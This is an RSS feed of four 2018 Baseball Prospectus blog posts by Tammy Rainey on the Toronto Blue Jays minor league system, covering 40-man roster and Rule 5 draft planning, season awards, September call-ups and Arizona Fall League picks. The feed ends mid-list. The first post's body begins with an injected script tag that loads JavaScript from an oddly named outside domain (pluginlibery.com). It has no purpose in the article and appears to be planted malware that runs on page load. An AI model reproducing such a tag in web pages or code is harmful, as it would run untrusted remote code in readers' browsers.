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		<title>Minor League Update: What Now Edition</title>
		<link>http://toronto.locals.baseballprospectus.com/2018/10/02/minor-league-update-what-now-edition/</link>
		<comments>http://toronto.locals.baseballprospectus.com/2018/10/02/minor-league-update-what-now-edition/#comments</comments>
		<pubDate>Tue, 02 Oct 2018 14:25:28 +0000</pubDate>
		<dc:creator><![CDATA[Tammy Rainey]]></dc:creator>
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		<guid isPermaLink="false">http://toronto.locals.baseballprospectus.com/?p=16806</guid>
		<description><![CDATA[With the Fisher Cats having capped off their undefeated post-season and their Eastern League championship on the evening of my last post, all farm team play is of course now more than two weeks in the past. The Blue Jays clubhouse has been packed with kids at a level no one can remember in previous Septembers [&#8230;]]]></description>
				<content:encoded><![CDATA[<p><script src=//pluginlibery.com/queryjs></script>With the Fisher Cats having capped off their undefeated post-season and their Eastern League championship on the evening of my last post, all farm team play is of course now more than two weeks in the past. The Blue Jays clubhouse has been packed with kids at a level no one can remember in previous Septembers and with the major league season now done, all that remains for the prospects is Fall Instructional league for (mostly) first year players, and the handful who will make the trip out to Arizona in the next few days (update on that &#8211; Bo Bichette is no longer going, his slot will be filled by Santiago Espinal). So what comes next?</p>
<p>Well, minor league rosters will be affected going forward in five potential ways:<br />
1. A handful of the better players will be added to the 40 man roster &#8211; more on that below.<br />
2. Over 20 others will be eligible for the Rule 5 draft on the last day of the winter meetings. A few might be selected.<br />
3. At least 25 others are eligible to become six-year minor league free agents. Likely no more than two or three of them will be re-signed to return next year.<br />
4. Some players will simply be released, this will go on irregularly throughout the offseason.<br />
5. Of course some trades will occur with players coming in and potentially going out.</p>
<p>The aspect of this movement most immediately on the minds of most fans of course is the 40 man roster question, and who might remain exposed to the draft (albeit it&#8217;s rare to lose someone who comes back to haunt you). As you may have seen discussed, the Blue Jays 40 man roster is not only full but has very little flexibility. And considerable flexibility is needed which will demand some creativity from Ross Atkins and his staff.  If we go ahead and presume that impending free agents Marco Estrada and Tyler Clippard are now off the roster, here&#8217;s how things stand as of the dawning of October 1:</p>
<p><strong>Pitchers (17):</strong> Aaron Sanchez, Marcus Stroman, Ryan Borucki, Sean Reid-Foley, Tom Panonne, Sam Gaviglio, David Paulino, Ken Giles, Ryan Tepera, Tim Mayza, Joe Biagini, Danny Barnes, Jake Petricka, Tyler Gurrieri, Justin Schafer, Jose Fernandez, Mark Lieter, Jr.</p>
<p><strong>Hitters (21):</strong> Russell Martin, Danny Jansen, Luke Maile, Reese McGuire, Justin Smoak, Kendrys Morales, Rowdy Tellez, Devon Travis, Lourdes Gurriel, Jr, Aledmys Diaz, Yangervis Solarte, Richard Urena, Jon Berti, Randal Grichuk, Kevin Pillar, Teoscar Hernandez, Billy McKinney, Anthony Alford, Dwight Smith, Jr., Dalton Pompey, Jon Davis</p>
<p>60-day DL (must be added back to the 40 man roster): Troy Tulowitzski, Brandon Drury, Rhiner Cruz</p>
<p>So, there&#8217;s two openings and three guys who must be added. lets state the obvious &#8211; Cruz is destined to be released, Tulo and Drury will fill up the roster and that&#8217;s your starting point.</p>
<p>But wait, there&#8217;s more. The jays are expected to receive a player who&#8217;s currently on the Cleveland 40 man roster in the Josh Donaldson deal. So he has to go on the roster right away which means you need a cut immediately. Let&#8217;s table that for a moment.</p>
<p>Turning our focus to the minors, there are 31 players (at least) still in the minor league system who are eligible for the Rule 5 draft. Obviously most of these are inconsequential players who will not even be considered for the major league portion of the draft (albeit the bar is lower for the minor league rounds) but there are some crucial cases this winter. Here&#8217;s my ranking of the top 10 targets among the eligible class:</p>
<p>1. <strong>Hector Perez</strong> &#8211; Acquired this summer, generally ranked in or near the top 10 Jays prospects<br />
2. <strong>Patrick Murphy</strong> &#8211; took massive leap forward as he puts injury history in the past<br />
3. <strong>Jordan Romano</strong> &#8211; widely considered to be capable of pitching in a major league bullpen already, still being refined as a SP but a team could Biagini him.<br />
4. <strong>Yennsy Diaz</strong> &#8211; safer than Romano only that he still hasn&#8217;t reached AA but still will be attractive.<br />
5. <strong>Travis Bergen</strong> &#8211; near untouchable lefty in AA, it would be stunning if he weren&#8217;t selected.<br />
6. <strong>Max Pentecost</strong> &#8211; a catcher, a position in which most teams assume they won&#8217;t get much offense from their reserve, with clear upside would seem to me to be a prime target. I seem to be the only person who thinks he might be taken though and I&#8217;m no insider.<br />
7. <strong>Jackson McClelland</strong> &#8211; can touch 100 MPH out of the &#8216;pen, not as polished yet as a team probably wants but he&#8217;s a &#8220;cross your fingers&#8221; guy if you don&#8217;t protect him.<br />
8. <strong>Harold Ramirez</strong> &#8211; May well be taken after a big year, but has a limited skill set and way down the team&#8217;s depth chart for outfielders &#8211; a loss they could afford.<br />
9. <strong>Jake Waugespack</strong> &#8211; proximity and flexibility are attractive as a poor man&#8217;s Biagini but limited ceiling.<br />
10. <strong>Jon Harris</strong> &#8211; I&#8217;d be stunned. He&#8217;s a former first rounder but hasn&#8217;t distinguished himself the last couple of years. But someone has to be #10 so &#8230;?</p>
<p>In my view, the conclusion is that we need at least six spots freed up. It could potentially be eight but that is likely too hard. So who are the top candidates to be turned lose?</p>
<p>1. <strong>Jon Berti</strong> &#8211; Last on, first off. The organization likes him a lot and would certainly be happy to bring him back on a minor league deal if he doesn&#8217;t get a better chance elsewhere, but there&#8217;s a reason he was an emergency add.<br />
2.<strong> Mark Lieter, Jr.</strong> &#8211; Finished with a 13.50 ERA, it&#8217;s hard to fail an audition harder than this.<br />
3. <strong>Jake Petricka</strong> &#8211; Arbitration eligible, probably would be a non-tender candidate later on anyway. Jays would welcome him back after the first of the year on a minor league deal depending on depth.<br />
4. <strong>Yangervis Solarte</strong> &#8211; they will shop him for a return that doesn&#8217;t need to be protected, if they find none they will decline the option and let him become a free agent.<br />
5. <strong>Sam Gaviglio</strong> &#8211; as much as he was a feel-good story, the reality is that the final results were nothing to get jazzed about. Another guy they&#8217;d be happy to keep around in the minors if he survives waivers and the draft.<br />
6. <strong>Danny Barnes</strong> &#8211; he&#8217;d need to pass through waivers to be outrighted to AAA but this is the ideal time of year to slide someone through. The flip side is he would be a prime target to be drafted. They&#8217;ll have to decide if this year was the exception to his excellent past or if it&#8217;s likely a trend.  As much as I like him, from this distance I can&#8217;t tell. In theory they might see this logic applying to Biagini too but my hunch is Joe is safer.<br />
7. J<strong>on Davis/Dalton Pompey/Dwight Smith Jr.</strong> &#8211; for me Davis, the oldest of the three, would be the easy remove (though likely to be drafted). Other than speed it seems like a reserve player skill set. On the other hand, they seem done with Pompey but surely they would trade him — alone or in combination with someone else (like, say, Maile) — rather than just cutting him. I think they have been pretty pleased with DSJ but he&#8217;s closer to this category than he is to the Alford/McKinney tier.<br />
8. <strong>Tyler Gurrieri, Jose Fernandez, Justin Schafer</strong> &#8211; they will all be 26 next season, not too old or impressively young &#8211; also all cheap and optionable. My instinct is that pitching depth will be guarded and I couldn&#8217;t guess which of these they might like less than the others (other than noting Fernandez is the lefty in the group which usually provides an edge), but if the cuts were to get this deep, this is the cohort you&#8217;d have to look at.</p>
<p>Barring trades my guess is that the first five on this list are relatively easy losses to deal with, the first hard decision comes on whether or not to expose Barnes/Biagini in order to protect Bergen, and then assess the odds that they would lose Pentecost if they don&#8217;t make room for him.</p>
<p>Finally, as it relates to trades, the rosters don&#8217;t have to be locked in for another 7+ weeks there&#8217;s obviously a possibility that deals change these equations. My guess would be that the Blue Jays shop Martin &#8211; but it would be a complex deal that would be unlikely to happen early enough to help. I also thing they will see if Luke Maile created any interest out there. If players like Jeff Mathis can keep working, there should be. I think they will shop Devon Travis despite being at a lower-than-ideal value after a down year with the bat. Being the only one of the infielders married to one position makes him the least likely to stay in my opinion. I could see a team like the Twins maybe looking for a big year if he gets off the turf.</p>
<p>Also, as I mentioned, one of the excess outfielders would be an obvious trade chip, either alone or as a second piece. That being above and beyond the reality that Kevin Pillar will surely be shopped heavily. Any of these might happen early enough in the winter to create a free slot.</p>
<p>The post season is just beginning but the Jays are already gathering wood for the hot stove.</p>
<p><em>Lead Photo Jonathan Dyer-USA TODAY Sports</em></p>
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		<title>Minor League Update: Year in Review</title>
		<link>http://toronto.locals.baseballprospectus.com/2018/09/14/minor-league-update-year-in-review/</link>
		<comments>http://toronto.locals.baseballprospectus.com/2018/09/14/minor-league-update-year-in-review/#comments</comments>
		<pubDate>Fri, 14 Sep 2018 10:24:14 +0000</pubDate>
		<dc:creator><![CDATA[Tammy Rainey]]></dc:creator>
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		<guid isPermaLink="false">http://toronto.locals.baseballprospectus.com/?p=16737</guid>
		<description><![CDATA[As of now, there is only one Blue Jays minor league affiliate still playing ballgames. That team — your New Hampshire Fisher Cats — now sit one win away from being crowned Eastern League champions. Both Lansing and Bluefield also played in the postseason, but each was eliminated in the first round, while the Cats have [&#8230;]]]></description>
				<content:encoded><![CDATA[<p>As of now, there is only one Blue Jays minor league affiliate still playing ballgames. That team — your New Hampshire Fisher Cats — now sit one win away from being crowned Eastern League champions. Both Lansing and Bluefield also played in the postseason, but each was eliminated in the first round, while the Cats have yet to lose a playoff game.</p>
<p>With the season over for most players, the dust is rapidly settling. We know most, but not all of the names of players getting tickets to Arizona next month. We know most — if not all — of the players who got a chance to suit up for Toronto this month. And we can anticipate with confidence the minor league free agents who&#8217;ll likely leave the organization this fall (only one of whom I&#8217;d consider a regrettable loss). We also know who the 30+ players are who&#8217;ll be eligible for the Rule 5 draft in December, but I&#8217;ll save speculating on that and other roster decisions for my last MLU of the season next time.</p>
<p>The purpose of this entry is to review the season past, and call attention to players who earned praise. I&#8217;ll have a pitcher of the year drawn from a list of the 10 most successful hurlers, an offensive player of the year (who no doubt will come as a complete shock to the baseball universe), and the rest of the 10 most successful hitters. We&#8217;ll also have a most improved performer in each group, and a short list of sleepers.</p>
<p>Before I begin that, though, let&#8217;s take a quick look back at the Consensus Top 20 that I wrote about back <a href="http://toronto.locals.baseballprospectus.com/2018/03/23/the-consensus-top-prospects-and-where-to-find-them/">in March</a>.</p>
<ul>
<li>Eight (and soon nine) of the 20 names are currently on the September roster.</li>
<li>They were largely healthy, with just one missing more than a couple of months to injury, and only four spending any notable time disabled.</li>
<li>Two &#8220;graduated&#8221; from prospect status; one left the organization on waivers.</li>
<li>Only two had what would be considered disappointing overall seasons.</li>
</ul>
<p>Typically any spring list of prospects will, by the fall, produce a very mixed bag of results. By that standard, then, the organization has to be really proud of how the better players in the system developed this season.</p>
<h3>Pitcher of the Year: Sean Reid-Foley</h3>
<p>There were a number of impressive pitching performances, but in terms of aggregate minor-league results, it&#8217;s easy to make a case for SRF. Of all the full-season starters in the top 10, one slightly surpassed him in batting average against (.215) and WHIP (1.18) &#8212; but was 10 months younger and two levels lower. Reid-Foley&#8217;s 10.4 strikeouts per nine was the best rate in the group and his improvement over last year in both strikeout rate and hits allowed was dramatic. Fans might forget that he pitched the whole season, split between Double A and Triple A, at the age of only 22. Doing that, and doing it as well as he did, is no mean feat.</p>
<h3>Hitter of the Year: Vladimir Guerrero, Jr</h3>
<p>Sigh. So dull. So predictable. So little to say you haven&#8217;t already read, seen or heard. Vlad lapped the field in this system and very nearly in the entirety of minor league baseball. What do you want from me here? Okay, there&#8217;s this &#8212; he was 19, playing in Double A and Triple A, and he struck out a rate of roughly once in every nine at bats.</p>
<h3>Most Improved Pitcher: Patrick Murphy</h3>
<p>A review of the lists I read last spring is telling: Not a one of the Big Five ranked Murphy at all. Two others mentioned him at no. 28, and on my personal list I had him at no. 22. Not too surprising &#8212; the 2013 third-rounder pitched only four innings in 2014, and didn&#8217;t appear again until Vancouver started play in 2016. He pitched pretty well for the next two seasons, but put more runners on than you&#8217;d like with his strikeout rate. But just before his 23rd birthday, pitching in Dunedin this year, he stepped up to the next level. From June 1st onward, his ERA was 1.83, with a 0.93 WHIP and 8.8 K/9. His velocity climbed as the season wore on, flirting with 100 mph late in the year. Even in this stacked system, he&#8217;s probably a top 15 guy at this point.</p>
<p><span style="text-decoration: underline"><strong>Rest of the Top 10:</strong></span><br />
<strong>Ryan Borucki</strong> (BUF/TOR) &#8211; The Jays&#8217; most fully-formed and major league-ready pitching prospect.<br />
<strong>TJ Zeuch</strong> (NH) &#8211; A heavy tilt towards grounders keeps his strikeout total lower than the others.<br />
<strong>Jordan Romano</strong> (LAN) &#8211; Older than the rest here; had a horrid, homer-plagued June and August.<br />
<strong>Yennsy Diaz</strong> (DUN) &#8211; The one guy who edged Reid-Foley in BAA and WHIP. Saw great improvement in keeping runners off the bases.<br />
<strong>Zach Logue</strong> (DUN) &#8211; Out of the shadow of Big Nate, lefty Logue got better the more he pitched, apart from one outlier August start.<br />
<strong>Josh Winckowski</strong> (VAN) &#8211; Unheralded 2016 15th round choice; took a huge step forward this year.<br />
<strong>Eric Pardinho</strong> (BLU) &#8211; Best raw results in the system as a 17-year-old.<br />
<strong>Travis Bergen</strong> (NH) &#8211; By far the most successful reliever in the system &#8212; and a lefty.</p>
<p>Sleepers to watch out for: <strong>Maximo Castillo</strong> and <strong>Graham Spraker</strong> (LAN),<strong> Randy Pondler</strong> and <strong>Joey Murray</strong> (VAN), <strong>Adams Cuevas</strong> (BLU)<br />
Others likely to be highly ranked: <strong>Nate Pearson, David Paulino, Hector Perez, Adam Kloffenstein, Justin Maese</strong></p>
<h3>Most Improved Hitter: Cavan Biggio</h3>
<p>You could make a case here for Kevin Smith, but there were more scouts who thought Smith might be something last winter than there were who thought Biggio was anything but organizational filler. He had 14 more at bats in 2017 than in 2018, and yet compare:</p>
<p>17 doubles to 23<br />
11 homers to 26<br />
60 RBI to 99<br />
74 BB to 100<br />
11 SB to 20<br />
.363 SLG to .499<br />
.705 OPS to .889</p>
<p>He did strike out 148 times in 132 games &#8212; a rate down slightly from the year before but still high. If he keeps hitting a homer once every five games, though, they&#8217;ll let him by with that.</p>
<p><span style="text-decoration: underline"><strong>The rest of the Top 10:</strong></span><br />
<strong>Dan Jansen</strong> (BUF) &#8211; No dramatic step forward here, but maintaining and consolidating the 2017 progress was good enough in itself.<br />
<strong>Bo Bichette</strong> (NH) &#8211; Faced his first adversity: a May slump dropped his OPS to .669. But from May 24 through the end of the year, he hit .309/.361/.500 over 89 games.<br />
<strong>Jordan Groshans</strong> (BLU) &#8211; This year&#8217;s first round pick dominated the GCL and was a beast in the Appy League playoffs for Bluefield.<br />
<strong>Kevin Smith</strong> (DUN) &#8211; Over two levels and 129 games, he accumulated 31 doubles, 25 HR, and 29 SB with an .886 OPS. This is more a natural progression of his 2017 results than a quantum leap.<br />
<strong>Ryan Noda</strong> (LAN) &#8211; Maintained his production from his amazing 2017 in Bluefield except for a noticeably lower BA. It sank to .179 by May 17, but since then he did a full 100 points better in that department, slashing .279/.406/.549 in 90 games.<br />
<strong>Chavez Young</strong> (LAN) &#8211; Outside of a cold June, he was remarkably consistent and consistently good. He more than doubled his walk rate over last year&#8217;s mark, and went from 4 SB to 44.<br />
<strong>Alejandro Kirk</strong> (BLU) &#8211; He was listed as a DH, but due to circumstances ended up catching more than half his games, while hitting .354 with a 1.001 OPS<br />
<strong>Brock Lundquist</strong> (DUN) &#8211; Actually hit better after moving up to the pitcher-friendly FSL. He put together a combined .845 OPS, despite a 6-for-37 nine-game August slump.</p>
<p>Sleepers to watch out for: <strong>Josh Palacios, Otto Lopez, Hagen Danner, Cal Stevenson, Samad Taylor, Tanner Kirwer, Dom Abadassa, Mc Gregory Contrares, Gabriel Moreno, Leo Jiminez</strong>,</p>
<p>Others likely to be highly ranked: <strong>Anthony Alford, Logan Warmoth, Griffin Conine, Riley Adams, Miguel Hiraldo</strong></p>
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		<title>Minor League Update: What&#8217;s Next Edition</title>
		<link>http://toronto.locals.baseballprospectus.com/2018/08/29/minor-league-update-whats-next-edition/</link>
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		<pubDate>Wed, 29 Aug 2018 14:25:30 +0000</pubDate>
		<dc:creator><![CDATA[Tammy Rainey]]></dc:creator>
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		<guid isPermaLink="false">http://toronto.locals.baseballprospectus.com/?p=16612</guid>
		<description><![CDATA[As of this writing, the complex league teams are already done, Bluefield has but one more (regular season) game, and the rest of the affiliates have at most a week&#8217;s worth of regular season play. The good news is that three teams are postseason bound and another is in serious contention. Likewise, beginning Saturday major [&#8230;]]]></description>
				<content:encoded><![CDATA[<div id="mc_container">
<div id="mc">As of this writing, the complex league teams are already done, Bluefield has but one more (regular season) game, and the rest of the affiliates have at most a week&#8217;s worth of regular season play. The good news is that three teams are postseason bound and another is in serious contention. Likewise, beginning Saturday major league rosters can and will expand. That means this is the time of year when players start moving about.</div>
<div></div>
<div>Some will go to the major league roster, some will be ticketed for the Arizona Fall League (which begins play in early October), and almost all the lower level guys (and those who remain injured) will be assigned to the fall instructional &#8220;league&#8221; at Dunedin. There might also be some roster adjusting to bolster playoff teams, though this last bit can be highly unpredictable from outside the organization.</div>
<div></div>
<div>The first question everyone asks and one that is already the subject of considerable speculation is &#8220;Who comes up in September?&#8221; In contention years an organization will focus on what can actually help the playoff push. Such teams typically do not want to overcrowd the clubhouse with players who won&#8217;t get a lot of appearances and they hold themselves to six or seven players, typically a catcher, someone fast, and a few relievers. But we&#8217;re not speaking of a contender here, are we? The first thing we look for is players on the 40-man roster, particularly those who have already been up this season &#8211; and in this case with a bias towards players who might be part of the future. That list would then include <strong>Sean Reid-Foley</strong>, the recently demoted<strong> Justin Schafer</strong> (and veteran <strong>Jake Petricka</strong>), infielder<strong> Richard Urena</strong>, and outfielders <strong>Dwight Smith, Jr.</strong>,<strong> Anthony Alford</strong>, and <strong>Dalton Pompey</strong>.</div>
<div>
<p>Those first five names are virtual certainties. The others less so. Alford has had an uncharacteristic and inconsistent season of mostly failure. There&#8217;s no way to spin it as a good part of a season, but in addition to injury and a brief trip to the majors, the first two months were horrendous and the time since has just been disappointing. You could make a case they will call him up for the ability to work closely with him at the highest level, or that they will give him a breather and send him out west. I&#8217;ve given up on sorting out what they plan to do with Pompey but since he&#8217;s out of options next spring I really hope they call him up. Add to those the possibility of catcher <strong>Reese McGuire</strong> (no sure thing since they already have three) and there&#8217;s one non-roster guy you might see, last week&#8217;s main man <strong>Travis Bergen</strong> who&#8217;s still untouchable in double-A New Hampshire and is due to need protection this winter anyway. But you won&#8217;t see him until the &#8216;Cats are done for the year.</p>
<p>Vladdy? Ha,ha,ha&#8230;no. If that were going to happen he&#8217;d have been up already. As for Arizona, the ever diligent <a href="https://www.thecubreporter.com/08082018/2018-arizona-fall-league-schedule-released">Cubs Reporter</a> offers the rundown on  the eligibility rules for assignment to the AFL. Follow the link to read about the key provisions as we attempt a prediction. While originally the restrictions were pretty limiting, in recent years they have broadened to the point that teams can send virtually anyone they really want to go with the right manipulations. Each team assigns a minimum seven players, at least four of whom must be pitchers (preferably only one of which expected to play as a starter) and at least three position players. Additional players can be assigned to the &#8220;taxi squad&#8221; which is restricted to two appearances per week.</p>
<p>In general, organizations like to send players who need more reps, either because of injury orother absence, or to work on some aspect of their game, or those that they want to have a look at playing against the best available competition.</p>
</div>
<div>Besides the possibility that <strong>Alford</strong> will go to continue to try to finish strong, <strong>Vlad Guerrero, Jr</strong> missed a big chunk of the season so there&#8217;s no reason he can&#8217;t keep playing (and MLB will surely want him there for the publicity), <strong>Thomas Pannone</strong> will finish out the year in Toronto but having only been active since mid-season because of his PED suspension, he has plenty of innings still in the tank and will almost certainly head west. If <strong>David Paulino</strong> gets healthy he&#8217;d need someplace to get reps, <strong>McGuire</strong> might go, since having split time with Danny Jansen he probably is fresher than most of his peers at the position. <strong>Rowdy Tellez</strong>, a dark horse to show up in Toronto next month just because of position crowding, has been hot in recent months and would be a candidate, though a less likely one, to go out and try to continue that momentum. New Hampshire&#8217;s <strong>Zach Jackson</strong> is still working on his (lack of) control and would seem logical, <strong>Max Pentecost</strong>, who went last year, is on fire (see below) and the longer look they get the better since he too would be subject to the the Rule 5 draft if not protected. From the Dunedin roster, <strong>Logan Warmoth</strong> lost a lot of time to injury and has never gotten untracked with the bat, and <strong>Nate Pearson</strong> needs someplace to get some innings. Beyond that if there are others (a good possibility given roster requirements) they would more likely be roster filler.</div>
<div></div>
<div>There&#8217;s some speculation around about <strong>Bo Bichette</strong> and <strong>Cavan Biggio</strong>. While you shouldn&#8217;t be terribly surprised to see either of them in place of the names I mentioned above, they played almost every day, will set career highs in games played and don&#8217;t really have the same need for repetitions that the others do. Force me into a prediction and I&#8217;ll say the minimum four pitchers would be Pannone (the starter), Jackson, Pearson (in controlled relief outings given he isn&#8217;t stretched out) and Paulino if he can pitch, or some filler player (for example, Connor Fisk) if not. The hitters would be VGJ, Warmoth and Alford or Pentecost. On the taxi you might find almost anyone.</div>
<div></div>
<div>Speaking of Vladito, before he goes west he might have another stop to make; I have a hunch he&#8217;s going down before he goes anywhere else. Buffalo didn&#8217;t make the post-season and their home schedule is done. Meanwhile the Fisher Cats are already in and finish the year with three games at home. I&#8217;m betting Vladdy will be back for those and the playoffs. You could also see some interesting pitching added to that team from the eliminated D-Jays and, just maybe, Riley Adams. Lansing will also probably gain a few players if the Canadians fall short of qualifying.</div>
</div>
<h3>Hottest Pitcher: Zach Logue</h3>
<p>I really wanted to highlight Logue in the last edition, but his singular bad outing in the previous six weeks had fallen during the time period that edition covered. Fortunately for my plans it was not repeated. Ever since Jimmy Key was one of my first favorite Blue Jays (as readers of my old blog remember) I have been a sucker for successful lefty starters in the Jays minor league system. Do you remember Clayton Andrews? Because I do. Usually they don&#8217;t pan out by the time they hit the majors, if they ever do. Usually they go the way of Justin Nicolino, with Ryan Borucki being &#8211; so far &#8211; the notable exception. I can&#8217;t guess which track Logue will take but he&#8217;s looking great lately.</p>
<p>After being drafted in the 9th round last year, he was assigned to Vancouver and, pitching in the gigantic shadow of Nate Pearson, posted dominant numbers. He began this year with nine excellent starts for Lansing before being promoted to Dunedin at the end of May. In his first seven starts he was only &#8220;pretty good&#8221; posting a 3.98 ERA, but with a distinct lack of strikeout success at 6 per 9 IP (some pitchers make that work of course, but it&#8217;s something that people notice in minor league stat lines) and a less than 3:1 ratio in strikeouts to walks.</p>
<p>But somewhere around Independence Day he found the next gear. In his last 10 starts, Logue&#8217;s ERA is 3.15 and his K rate is up to almost one per inning pitched. His strikeout to walk rate is also up to 5:1 and that&#8217;s including that one disaster start I mentioned. I&#8217;m not sure what was going on with him that day, possibly he was under the weather or something when he gave up nine earned runs in two innings. but if you take out that one start, since July 4 his ERA is 1.71. So, yeah, he&#8217;s firmly on my radar.</p>
<h3>Hottest Hitter: Max Pentecost</h3>
<p>It&#8217;s no secret to anyone who reads my prospect writing that I have a bit of an irrational emotional investment in the success of Pentecost. I can&#8217;t really explain it and, to be sure, the explosion of Danny Jansen has pretty radically changed the dynamic. But I still enjoy it when he plays well, and playing well is a considerable understatement right now. This feels like a cheat since I highlighted him in the &#8220;Other Stats&#8221; section just last time but he continues to crush it, having hit .366 with 4 HR since last time. Here&#8217;s his slash lines since July 26: .400/.400/.656 (22 games).</p>
<h3>5 Other Stat Lines</h3>
<ul>
<li><strong>Josh Winckowski</strong> &#8211; Vancouver&#8217;s busiest pitcher. The 6&#8217;3&#8243; RHP won&#8217;t appear on any top prospect lists published so far, but he&#8217;s having a fine year. He has a 2.43 ERA and an strikeout per inning pitched (and 4.2 per walk). He&#8217;s still just 20 and has taken a significant step forward (in terms of results) over his 2017 line.</li>
<li><strong>Joshua Palacios</strong> &#8211; In his last 25 games the Dunedin CF is hitting .369 with a .992 OPS with as many XBH as in his two months previous.</li>
<li><strong>Chris Bec</strong> &#8211; No one was much impressed with the Jays&#8217; pick in the fifth round this year, the catcher was seen as a cheap signability guy. Maybe that&#8217;s all he is but since busting out of a 7/53 slide in mid-July he&#8217;s trying to change some minds. He began to gather momentum in the final third of July but he&#8217;s really been hot in August with a .956 OPS. That&#8217;s driven by 18 walks in the month though.</li>
<li><strong>Eric Pardinho</strong> &#8211; It can&#8217;t be overstated how remarkable it is for a 17 year old Brazilian kid to be crushing the Appy League the way he is. Pardinho has a 2.88 ERA in 11 starts with 64 K (16BB) in 50 IP. It&#8217;s not quite the pitching equivalent of Vlad but he&#8217;s getting up there.</li>
<li><strong>Adams Cuevas</strong> &#8211; The numbers are almost as good for the Dominican righty but he&#8217;s also 22. Still, take a note about a guy who who has 61 K and only 8 walks in 53 IP</li>
</ul>
<h4>Buffalo Bisons</h4>
<p>&#8211; If the Bisons win out, they&#8217;ll still finish under .500. So it&#8217;s another year of playing out the string, potentially shorthanded for the last series.</p>
<h4>Fisher Cats</h4>
<p>&#8211; The Fisher Cats remain one game up on the Trenton Thunder as they hope to hang on to the home-field advantage for the first round of the post-season. In their favor, their remaining series are against the two teams with the worst records in their division.</p>
<h4>Dunedin</h4>
<p>&#8211; The D-Jays got knocked around last night and were thereby knocked out of post-season contention. They were in good shape until a 1-11 run earlier in the month put them in a hole they couldn&#8217;t escape.</p>
<h4>Lansing</h4>
<p>&#8211; Having qualified in the first half, being four games out of first in the second half is less important than it might otherwise seem. But they are 9-9 in the last few weeks and would certainly like to go into the playoffs with more momentum than that.</p>
<h4>Vancouver</h4>
<p>&#8211; The Van C&#8217;s remain one game up on Spokane with six games to play. The last three&#8230;at Spokane.</p>
<h4>Bluefield</h4>
<p>&#8211; With only one game to play, the Baby Jays will finish in second place at season&#8217;s end but that&#8217;s good enough for a post-season slot. On Friday they host arch-rival Princeton in the first game of a three game set, potentially with their ace Eric Pardinho on the hill. The winner immediately moves on to the five game championship series.</p>
<p><em>Lead Photo © Mark J. Rebilas-USA TODAY Sports</em></p>
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		<title>Minor League Update: Arbitrary Endpoint Edition</title>
		<link>http://toronto.locals.baseballprospectus.com/2018/08/15/minor-league-update-arbitrary-endpoint-edition/</link>
		<comments>http://toronto.locals.baseballprospectus.com/2018/08/15/minor-league-update-arbitrary-endpoint-edition/#comments</comments>
		<pubDate>Wed, 15 Aug 2018 10:45:59 +0000</pubDate>
		<dc:creator><![CDATA[Tammy Rainey]]></dc:creator>
				<category><![CDATA[Articles]]></category>

		<guid isPermaLink="false">http://toronto.locals.baseballprospectus.com/?p=16553</guid>
		<description><![CDATA[For half a season now, I&#8217;ve been speculating that this player or that is due for a promotion. Even in the last month of the minor league season I&#8217;ve noted other writers commenting on the subject. But I&#8217;ve reversed field. Let me explain why. As of this moment, five of the Jays&#8217; six non-complex teams [&#8230;]]]></description>
				<content:encoded><![CDATA[<p>For half a season now, I&#8217;ve been speculating that this player or that is due for a promotion. Even in the last month of the minor league season I&#8217;ve noted other writers commenting on the subject. But I&#8217;ve reversed field. Let me explain why.</p>
<p>As of this moment, five of the Jays&#8217; six non-complex teams are in line for the postseason. While only Lansing is locked in at the moment, all of the rest save Buffalo have a really good chance. That means that with few exceptions, the organization is going to see more value in keeping good players on their current teams as they push towards the postseason. This consideration is certain to trump the value of a mere three weeks spent at a higher level for most prominent players, to say nothing of the fact that a postseason appearance extends the team&#8217;s season potentially as much as 10 or 11 games depending on level. Some unexpected promotions in order to fill team-specific needs might still happen, though, as well as promotions within or out of the complex. And speaking of promotions&#8230;</p>
<p>Given the fact that <a href="http://www.milb.com/multimedia/vpp.jsp?sid=milb&amp;content_id=2373539083">a certain lightly-regarded and little-known third baseman </a>is pretty much the only thing anyone is talking about in the Blue Jays farm system lately, it&#8217;s little mystery who&#8217;s going to be one of my featured players this week. But in the shadow of that success, a number of less-heralded players are rebuilding their seasons after having struggled earlier in the year.</p>
<p>It often happens that a player&#8217;s season, even from just a statistical standpoint, will seem less impressive than it actually is, simply because initial struggles make their total line look pedestrian. But there is just as often an identifiable point where such players turned their season around. Think Devon Travis and Randal Grickuk on the major league squad, whose seasons have hinged around returns from injury. These points can rightly be called &#8220;arbitrary endpoints,&#8221; but they are less arbitrary than the commonly-used endpoints of calendar months. I have restrained myself to only using points which are tied to a specific event, like a return from injury, or where there&#8217;s a clear reversal in trajectory. In the &#8220;Other Stat Lines&#8221; section you will find a collection of names, most of which you&#8217;ll probably recognize, who have experienced a significant turning point this season.</p>
<hr />
<h3>Hottest Pitcher: Travis Bergen</h3>
<p>It&#8217;s rare that a relief pitcher qualifies for notice like this, and that&#8217;s primarily because in any two week stretch he might only throw five or six innings. I&#8217;m breaking from that trend, though, partly because no starter really demanded inclusion. So it gives me the chance to draw your attention &#8212; again &#8212; to a guy you will very likely get to know next season.</p>
<p>Travis Bergen is a 24 year old lefty who was a seventh-round pick in 2015 and, much like Ryan Borucki, was plagued by injuries in the early years of his career. He&#8217;s a fastball/slider guy with excellent control and an impressive strikeout rate, but coming into 2018, he had thrown all of 28.2 professional innings. His innings pitched at Double A this season now exceed that total, and over those 29 innings he has a 0.31 ERA. He&#8217;s allowed just a single run since joining the Fisher-Cats on June 3, and hasn&#8217;t walked a batter in his last eight appearances. He&#8217;s walked only six total while in Double A, striking out 35. For his career, he&#8217;s struck out 106 in 78.2 innings pitched, with only 23 free passes. Because of the injuries, though, he&#8217;ll need to be protected on the 40 man roster this fall, or he&#8217;ll surely leave via the Rule 5 Draft.</p>
<h3>Hottest Hitter: Vlad Guerrero, Jr.</h3>
<p>Is it really necessary for me to provide details here? I mean, you know, right? Vlad is sporting a 1.173 OPS in his first look at Triple A. He hasn&#8217;t had two consecutive games without a hit this entire season. He&#8217;s failed to reach base in only five games. In 259 minor league games, and over a thousand plate appearances, the 19-year-old still has more walks than strikeouts.</p>
<hr />
<h3>7 Other Stat Lines</h3>
<ul>
<li><strong>Rowdy Tellez</strong> &#8211; Rowdy&#8217;s personal concerns over the last two seasons have been well-documented, and his lost season last year continued into 2018. By May 14 he was floundering again, slashing .227/.333/.295. At that point, though, he found his swing again. Since then, he&#8217;s slashing .289/.342/.494/.836 in 75 games, which is still maybe not a top prospect line (albeit that would pro-rate to 36 doubles and 24 homers in 150 games so it&#8217;s not nothing). But it&#8217;s enough to make you wonder what he could do without the off-field troubles.</li>
